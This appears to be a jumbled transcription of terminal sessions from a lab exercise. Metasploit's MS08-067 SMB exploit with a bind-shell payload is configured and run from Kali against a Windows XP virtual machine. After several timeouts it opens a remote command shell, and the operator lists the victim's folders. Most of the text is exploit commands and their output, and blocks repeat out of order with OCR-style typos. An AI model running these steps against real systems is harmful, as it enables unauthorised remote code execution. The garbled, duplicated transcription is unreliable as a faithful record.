


```

msf exploit(windows/smb/ms08_067_netapi) > set RPORT 445
RPORT => 445
msf exploit(windows/smb/ms08_067_netapi) > set SMBPIPE BROWSER
SMBPIPE => BROWSER
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf exploit(windows/smb/ms08_067_netapi) > exploit
[-] 192.168.200.16:445 - Exploit failed [unreachable]: Rex::HostUnreachable T
he host (192.168.200.16:445) was unreachable.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms08_067_netapi) > exploit

[-] 192.168.200.16:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout
The connection with (192.168.200.16:445) timed out.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms08_067_netapi) >
msf exploit(windows/smb/ms08_067_netapi) > show options

```

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
RHOSTS	192.168.200.16	yes	The target host(s), see https://docs.metsaploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSV C)

Payload options (windows/shell_bind_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LPORT	4444	yes	The listen port
RHOST	192.168.200.16	no	The target address

Exploit target:

Id	Name
--	----
0	Automatic Targeting

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
RHOSTS	192.168.200.16	yes	The target host(s), see https://docs.metsaploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSV C)

Payload options (windows/shell_bind_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LPORT	4444	yes	The listen port
RHOST	192.168.200.16	no	The target address

Exploit target:

Id	Name
--	----
0	Automatic Targeting

View the full module info with the `info`, or `info -d` command.

```

msf exploit(windows/smb/ms08_067_netapi) > exploit
[-] 192.168.200.16:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout
The connection with (192.168.200.16:445) timed out.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms08_067_netapi) > exploit
[-] 192.168.200.16:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout
The connection with (192.168.200.16:445) timed out.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms08_067_netapi) > exploit
[-] 192.168.200.16:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout
The connection with (192.168.200.16:445) timed out.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms08_067_netapi) > show options

```

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
RHOSTS	192.168.200.16	yes	The target host(s), see https://docs.metsaploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSV C)

Payload options (windows/shell_bind_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LPORT	4444	yes	The listen port
RHOST	192.168.200.16	no	The target address

Exploit target:

Id	Name
--	---
0	Automatic Targeting

Session Actions Edit View Help

View the full module info with the `info`, or `info -d` command.

```
msf exploit(windows/smb/ms08_067_netapi) > q
[-] Unknown command: q. Run the help command for more details.
msf exploit(windows/smb/ms08_067_netapi) > exit
```

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.200.20 netmask 255.255.255.0 broadcast 192.168.200.255
    inet6 fe80::5d13:328a:3587:9ee7 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:1f:b7:23 txqueuelen 1000 (Ethernet)
    RX packets 220 bytes 37432 (36.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 79 bytes 6742 (6.5 KiB)
    TX errors 0 dropped 15 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 9 bytes 568 (568.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 9 bytes 568 (568.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
(kali@kali)-[~]
$ ping 192.168.200.16
PING 192.168.200.16 (192.168.200.16) 56(84) bytes of data:
64 bytes from 192.168.200.16: icmp_seq=1 ttl=128 time=0.316 ms
64 bytes from 192.168.200.16: icmp_seq=2 ttl=128 time=0.195 ms
64 bytes from 192.168.200.16: icmp_seq=3 ttl=128 time=0.199 ms
64 bytes from 192.168.200.16: icmp_seq=4 ttl=128 time=0.232 ms
c64 bytes from 192.168.200.16: icmp_seq=5 ttl=128 time=0.207 ms
64 bytes from 192.168.200.16: icmp_seq=6 ttl=128 time=0.208 ms
^C
— 192.168.200.16 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5117ms
rtt min/avg/max/mdev = 0.195/0.226/0.316/0.041 ms
```

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d
```

```
msf > show exploits
```

Exploits

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/aix/local/ibstat_path	2013-09-24	excellent	Yes	ibstat \$PATH Privilege Esc
1	exploit/aix/local/invscout_rpm_priv_esc	2023-04-24	excellent	Yes	invscout RPM Privilege Esc
2	exploit/aix/local/xorg_x11_server	2018-10-25	great	Yes	Xorg X11 Server Local Priv
3	exploit/aix/rpc_cmds_opcode21	2009-10-07	great	No	AIX Calendar Manager Servi
4	exploit/aix/rpc_ttdbserverd_realpath	2009-06-17	great	No	ToolTalk rpc.ttdbserverd _
	tt_internal_realpath Buffer Overflow (AIX)				

Exploits

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/aix/local/ibstat_path	2013-09-24	excellent	Yes	ibstat \$PATH Privilege Escalation
1	exploit/aix/local/invscout_rpm_priv_esc	2023-04-24	excellent	Yes	invscout RPM Privilege Escalation
2	exploit/aix/local/xorg_x11_server	2018-10-25	great	Yes	Xorg X11 Server Local Privilege Escalation
3	exploit/aix/rpc_cmds_opcode21	2009-10-07	great	No	AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
4	exploit/aix/rpc_ttdbserverd_realpath	2009-06-17	great	No	ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
5	exploit/android/adb/adb_server_exec	2016-01-01	excellent	Yes	Android ADB Debug Server Remote Payload Execution
6	exploit/android/browser/samsung_knox_smdm_url	2014-11-12	excellent	No	Samsung Galaxy KNOX Android Browser RCE
7	exploit/android/browser/stagefright_mp4_tx3g_64bit	2015-08-13	normal	No	Android Stagefright MP4 tx3g Integer Overflow
8	exploit/android/browser/webview_addjavascriptinterface	2012-12-21	excellent	No	Android Browser and WebView addJavaScriptInterface Code Execution
9	exploit/android/fileformat/adobe_reader_pdf_js_interface	2014-04-13	good	No	Adobe Reader for Android addJavaScriptInterface Exploit
10	exploit/android/local/binder_uaf	2019-09-26	excellent	No	Android Binder Use-After-Free Exploit
11	exploit/android/local/futex_queue	2014-05-03	excellent	Yes	Android 'Towelroot' Futex Queue Kernel Exploit
12	exploit/android/local/janus	2017-07-31	manual	Yes	Android Janus APK Signature

```

msf > use windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) > info

      Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
      Module: exploit/windows/smb/ms08_067_netapi
      Platform: Windows
      Arch:
      Privileged: Yes
      License: Metasploit Framework License (BSD)
      Rank: Great
      Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

```

```

      Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
      Module: exploit/windows/smb/ms08_067_netapi
      Platform: Windows
      Arch:
      Privileged: Yes
      License: Metasploit Framework License (BSD)
      Rank: Great
      Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Module side effects:
  unknown-side-effects

Module stability:
  unknown-stability

Module reliability:
  unknown-reliability

Available targets:
  Id  Name
  --  ---
  =>  0  Automatic Targeting
      1  Windows 2000 Universal
      2  Windows XP SP0/SP1 Universal
      3  Windows 2003 SP0 Universal
      4  Windows XP SP2 English (AlwaysOn NX)
      5  Windows XP SP2 English (NX)
      6  Windows XP SP3 English (AlwaysOn NX)
      7  Windows XP SP3 English (NX)
      8  Windows XP SP2 Arabic (NX)
      9  Windows XP SP2 Chinese - Traditional / Taiwan (NX)
     10  Windows XP SP2 Chinese - Simplified (NX)
     11  Windows XP SP2 Chinese - Traditional (NX)
     12  Windows XP SP2 Czech (NX)
     13  Windows XP SP2 Danish (NX)
     14  Windows XP SP2 German (NX)
     15  Windows XP SP2 Greek (NX)
     16  Windows XP SP2 Spanish (NX)
     17  Windows XP SP2 Finnish (NX)
     18  Windows XP SP2 French (NX)

```

Check supported:

Yes

Basic options:

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload information:

Space: 408

Avoid: 8 characters

Description:

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

References:

<https://nvd.nist.gov/vuln/detail/CVE-2008-4250>

OSVDB (49243)

<https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067>

<https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/>

Also known as:

ECLIPSEDWING

Also known as:
ECLIPSEDWING

View the full module info with the `info -d` command.

```
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.200.16
RHOST => 192.168.200.16
msf exploit(windows/smb/ms08_067_netapi) > set RPORT 445
RPORT => 445
msf exploit(windows/smb/ms08_067_netapi) > set SMBPIPE BROWSER
SMBPIPE => BROWSER
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/
Display all 158 possibilities? (y or n)
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf exploit(windows/smb/ms08_067_netapi) > exploit
[*] 192.168.200.16:445 - Automatically detecting the target...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 192.168.200.16:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] 192.168.200.16:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] 192.168.200.16:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.200.16:4444
[*] Command shell session 1 opened (192.168.200.20:45983 -> 192.168.200.16:4444) at 2025-10-28 06:46:00 -0400
```

Shell Banner:
Microsoft Windows XP [Version 5.1.2600]

```
C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration
```

```
Shell Banner:
Microsoft Windows XP [Version 5.1.2600]

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : 
    IP Address. . . . . : 192.168.200.16
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.200.1

C:\WINDOWS\system32>cd ..
cd ..

C:\WINDOWS>cd ..
cd ..

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\

21/10/2025  13:49    <DIR>          WINDOWS
21/10/2025  13:51    <DIR>          Documents and Settings
24/10/2025  11:39    <DIR>          Program Files
24/10/2025  11:39                0 CONFIG.SYS
24/10/2025  11:39                0 AUTOEXEC.BAT
                2 File(s)              0 bytes
                3 Dir(s)  7.282.638.848 bytes free

C:\>cd Documents and Settings
cd Documents and Settings

C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings

21/10/2025  13:51    <DIR>          .
21/10/2025  13:51    <DIR>          ..
24/10/2025  11:27    <DIR>          All Users
```

```
Session  Actions  Edit  View  Help
Volume Serial Number is C471-AE70

Directory of C:\

21/10/2025  13:49  <DIR>          WINDOWS
21/10/2025  13:51  <DIR>          Documents and Settings
24/10/2025  11:39  <DIR>          Program Files
24/10/2025  11:39                0 CONFIG.SYS
24/10/2025  11:39                0 AUTOEXEC.BAT
                2 File(s)            0 bytes
                3 Dir(s)  7.282.638.848 bytes free

C:\>cd Documents and Settings
cd Documents and Settings

C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings

21/10/2025  13:51  <DIR>          .
21/10/2025  13:51  <DIR>          ..
24/10/2025  11:27  <DIR>          All Users
24/10/2025  11:52  <DIR>          Jony2
                0 File(s)            0 bytes
                4 Dir(s)  7.282.638.848 bytes free

C:\Documents and Settings>cd Jony2
cd Jony2

C:\Documents and Settings\Jony2>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2

24/10/2025  11:52  <DIR>          .
24/10/2025  11:52  <DIR>          ..
24/10/2025  11:27  <DIR>          Start Menu
24/10/2025  11:52  <DIR>          My Documents
24/10/2025  11:52  <DIR>          Favorites
24/10/2025  11:27  <DIR>          Desktop
                0 File(s)            0 bytes
                6 Dir(s)  7.282.638.848 bytes free

C:\Documents and Settings\Jony2>cd Desktop
cd Desktop
```

```
C:\Documents and Settings\Jony2>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2

24/10/2025  11:52    <DIR>        .
24/10/2025  11:52    <DIR>        ..
24/10/2025  11:27    <DIR>        Start Menu
24/10/2025  11:52    <DIR>        My Documents
24/10/2025  11:52    <DIR>        Favorites
24/10/2025  11:27    <DIR>        Desktop
                0 File(s)            0 bytes
                6 Dir(s)      7.282.638.848 bytes free

C:\Documents and Settings\Jony2>cd Desktop
cd Desktop

C:\Documents and Settings\Jony2\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2\Desktop

24/10/2025  11:52    <DIR>        .
24/10/2025  11:52    <DIR>        ..
28/10/2025  10:46    <DIR>        jorge
                0 File(s)            0 bytes
                3 Dir(s)      7.282.638.848 bytes free

C:\Documents and Settings\Jony2\Desktop>cd jorge
cd jorge

C:\Documents and Settings\Jony2\Desktop\jorge>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2\Desktop\jorge

28/10/2025  10:46    <DIR>        .
28/10/2025  10:46    <DIR>        ..
```

```
C:\Documents and Settings\Jony2>cd Desktop
cd Desktop

C:\Documents and Settings\Jony2\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2\Desktop

24/10/2025  11:52    <DIR>          .
24/10/2025  11:52    <DIR>          ..
28/10/2025  10:46    <DIR>          jorge
               0 File(s)                0 bytes
               3 Dir(s)  7.282.638.848 bytes free

C:\Documents and Settings\Jony2\Desktop>cd jorge
cd jorge

C:\Documents and Settings\Jony2\Desktop\jorge>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2\Desktop\jorge

28/10/2025  10:46    <DIR>          .
28/10/2025  10:46    <DIR>          ..
28/10/2025  10:46                0 jorge2.txt.txt
               1 File(s)                0 bytes
               2 Dir(s)  7.282.638.848 bytes free

C:\Documents and Settings\Jony2\Desktop\jorge>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2\Desktop\jorge

28/10/2025  10:46    <DIR>          .
28/10/2025  10:46    <DIR>          ..
28/10/2025  10:46                0 jorge3.txt
               1 File(s)                0 bytes
               2 Dir(s)  7.282.638.848 bytes free

C:\Documents and Settings\Jony2\Desktop\jorge>q
q
'q' is not recognized as an internal or external command,
operable program or batch file.
```

```
C:\Documents and Settings\Jony2\Desktop>cd jorge
cd jorge

C:\Documents and Settings\Jony2\Desktop\jorge>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2\Desktop\jorge

28/10/2025  10:46    <DIR>          .
28/10/2025  10:46    <DIR>          ..
28/10/2025  10:46                0 jorge2.txt.txt
                1 File(s)                0 bytes
                2 Dir(s)      7.282.638.848 bytes free

C:\Documents and Settings\Jony2\Desktop\jorge>dir
dir
Volume in drive C has no label.
Volume Serial Number is C471-AE70

Directory of C:\Documents and Settings\Jony2\Desktop\jorge

28/10/2025  10:46    <DIR>          .
28/10/2025  10:46    <DIR>          ..
28/10/2025  10:46                0 jorge3.txt
                1 File(s)                0 bytes
                2 Dir(s)      7.282.638.848 bytes free

C:\Documents and Settings\Jony2\Desktop\jorge>q
q
'q' is not recognized as an internal or external command,
operable program or batch file.

C:\Documents and Settings\Jony2\Desktop\jorge>exit
exit

^C
Abort session 1? [y/N]  y

[*] 192.168.200.16 - Command shell session 1 closed. Reason: User exit
msf exploit(windows/smb/ms08_067_netapi) > exit

(kali㉿kali)-[~]
$ msfconsole
```